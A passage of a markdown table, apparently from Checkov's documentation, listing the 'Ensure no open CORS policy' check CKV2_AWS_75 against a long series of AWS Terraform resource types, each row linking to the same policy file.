[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2173 | CKV2_AWS_75     | resource | aws_amplify_app                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2174 | CKV2_AWS_75     | resource | aws_amplify_backend_environment                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2175 | CKV2_AWS_75     | resource | aws_amplify_branch                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2176 | CKV2_AWS_75     | resource | aws_amplify_domain_association                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2177 | CKV2_AWS_75     | resource | aws_amplify_webhook                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2178 | CKV2_AWS_75     | resource | aws_api_gateway_account                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2179 | CKV2_AWS_75     | resource | aws_api_gateway_api_key                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2180 | CKV2_AWS_75     | resource | aws_api_gateway_authorizer                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2181 | CKV2_AWS_75     | resource | aws_api_gateway_base_path_mapping                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2182 | CKV2_AWS_75     | resource | aws_api_gateway_client_certificate                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2183 | CKV2_AWS_75     | resource | aws_api_gateway_deployment                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2184 | CKV2_AWS_75     | resource | aws_api_gateway_documentation_part                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2185 | CKV2_AWS_75     | resource | aws_api_gateway_documentation_version                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2186 | CKV2_AWS_75     | resource | aws_api_gateway_domain_name                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2187 | CKV2_AWS_75     | resource | aws_api_gateway_domain_name_access_association                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2188 | CKV2_AWS_75     | resource | aws_api_gateway_gateway_response                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2189 | CKV2_AWS_75     | resource | aws_api_gateway_integration                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2190 | CKV2_AWS_75     | resource | aws_api_gateway_integration_response                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2191 | CKV2_AWS_75     | resource | aws_api_gateway_method                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2192 | CKV2_AWS_75     | resource | aws_api_gateway_method_response                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2193 | CKV2_AWS_75     | resource | aws_api_gateway_method_settings                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2194 | CKV2_AWS_75     | resource | aws_api_gateway_model                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2195 | CKV2_AWS_75     | resource | aws_api_gateway_request_validator                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2196 | CKV2_AWS_75     | resource | aws_api_gateway_resource                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2197 | CKV2_AWS_75     | resource | aws_api_gateway_rest_api                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2198 | CKV2_AWS_75     | resource | aws_api_gateway_rest_api_policy                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2199 | CKV2_AWS_75     | resource | aws_api_gateway_stage                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2200 | CKV2_AWS_75     | resource | aws_api_gateway_usage_plan                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2201 | CKV2_AWS_75     | resource | aws_api_gateway_usage_plan_key                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2202 | CKV2_AWS_75     | resource | aws_api_gateway_vpc_link                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2203 | CKV2_AWS_75     | resource | aws_apigatewayv2_api                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2204 | CKV2_AWS_75     | resource | aws_apigatewayv2_api_mapping                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2205 | CKV2_AWS_75     | resource | aws_apigatewayv2_authorizer                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2206 | CKV2_AWS_75     | resource | aws_apigatewayv2_deployment                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2207 | CKV2_AWS_75     | resource | aws_apigatewayv2_domain_name                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2208 | CKV2_AWS_75     | resource | aws_apigatewayv2_integration                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2209 | CKV2_AWS_75     | resource | aws_apigatewayv2_integration_response                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2210 | CKV2_AWS_75     | resource | aws_apigatewayv2_model                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2211 | CKV2_AWS_75     | resource | aws_apigatewayv2_route                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2212 | CKV2_AWS_75     | resource | aws_apigatewayv2_route_response                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2213 | CKV2_AWS_75     | resource | aws_apigatewayv2_stage                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2214 | CKV2_AWS_75     | resource | aws_apigatewayv2_vpc_link                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2215 | CKV2_AWS_75     | resource | aws_app_cookie_stickiness_policy                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2216 | CKV2_AWS_75     | resource | aws_appautoscaling_policy                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2217 | CKV2_AWS_75     | resource | aws_appautoscaling_scheduled_action                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2218 | CKV2_AWS_75     | resource | aws_appautoscaling_target                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2219 | CKV2_AWS_75     | resource | aws_appconfig_application                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2220 | CKV2_AWS_75     | resource | aws_appconfig_configuration_profile                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2221 | CKV2_AWS_75     | resource | aws_appconfig_deployment                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2222 | CKV2_AWS_75     | resource | aws_appconfig_deployment_strategy                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2223 | CKV2_AWS_75     | resource | aws_appconfig_environment                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2224 | CKV2_AWS_75     | resource | aws_appconfig_extension                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2225 | CKV2_AWS_75     | resource | aws_appconfig_extension_association                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2226 | CKV2_AWS_75     | resource | aws_appconfig_hosted_configuration_version                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2227 | CKV2_AWS_75     | resource | aws_appfabric_app_authorization                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2228 | CKV2_AWS_75     | resource | aws_appfabric_app_authorization_connection                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2229 | CKV2_AWS_75     | resource | aws_appfabric_app_bundle                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2230 | CKV2_AWS_75     | resource | aws_appfabric_ingestion                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2231 | CKV2_AWS_75     | resource | aws_appfabric_ingestion_destination                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2232 | CKV2_AWS_75     | resource | aws_appflow_connector_profile                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2233 | CKV2_AWS_75     | resource | aws_appflow_flow                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2234 | CKV2_AWS_75     | resource | aws_appintegrations_data_integration                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2235 | CKV2_AWS_75     | resource | aws_appintegrations_event_integration                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2236 | CKV2_AWS_75     | resource | aws_applicationinsights_application                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2237 | CKV2_AWS_75     | resource | aws_appmesh_gateway_route                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2238 | CKV2_AWS_75     | resource | aws_appmesh_mesh                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2239 | CKV2_AWS_75     | resource | aws_appmesh_route                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2240 | CKV2_AWS_75     | resource | aws_appmesh_virtual_gateway                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2241 | CKV2_AWS_75     | resource | aws_appmesh_virtual_node                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2242 | CKV2_AWS_75     | resource | aws_appmesh_virtual_router                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2243 | CKV2_AWS_75     | resource | aws_appmesh_virtual_service                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2244 | CKV2_AWS_75     | resource | aws_apprunner_auto_scaling_configuration_version                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2245 | CKV2_AWS_75     | resource | aws_apprunner_connection                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2246 | CKV2_AWS_75     | resource | aws_apprunner_custom_domain_association                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2247 | CKV2_AWS_75     | resource | aws_apprunner_default_auto_scaling_configuration_version         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2248 | CKV2_AWS_75     | resource | aws_apprunner_deployment                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2249 | CKV2_AWS_75     | resource | aws_apprunner_observability_configuration                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2250 | CKV2_AWS_75     | resource | aws_apprunner_service                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2251 | CKV2_AWS_75     | resource | aws_apprunner_vpc_connector                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2252 | CKV2_AWS_75     | resource | aws_apprunner_vpc_ingress_connection                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2253 | CKV2_AWS_75     | resource | aws_appstream_directory_config                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2254 | CKV2_AWS_75     | resource | aws_appstream_fleet                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2255 | CKV2_AWS_75     | resource | aws_appstream_fleet_stack_association                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2256 | CKV2_AWS_75     | resource | aws_appstream_image_builder                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2257 | CKV2_AWS_75     | resource | aws_appstream_stack                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2258 | CKV2_AWS_75     | resource | aws_appstream_user                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2259 | CKV2_AWS_75     | resource | aws_appstream_user_stack_association                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2260 | CKV2_AWS_75     | resource | aws_appsync_api_cache                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2261 | CKV2_AWS_75     | resource | aws_appsync_api_key                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2262 | CKV2_AWS_75     | resource | aws_appsync_datasource                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2263 | CKV2_AWS_75     | resource | aws_appsync_domain_name                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2264 | CKV2_AWS_75     | resource | aws_appsync_domain_name_api_association                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2265 | CKV2_AWS_75     | resource | aws_appsync_function                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2266 | CKV2_AWS_75     | resource | aws_appsync_graphql_api                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2267 | CKV2_AWS_75     | resource | aws_appsync_resolver                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2268 | CKV2_AWS_75     | resource | aws_appsync_source_api_association                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | 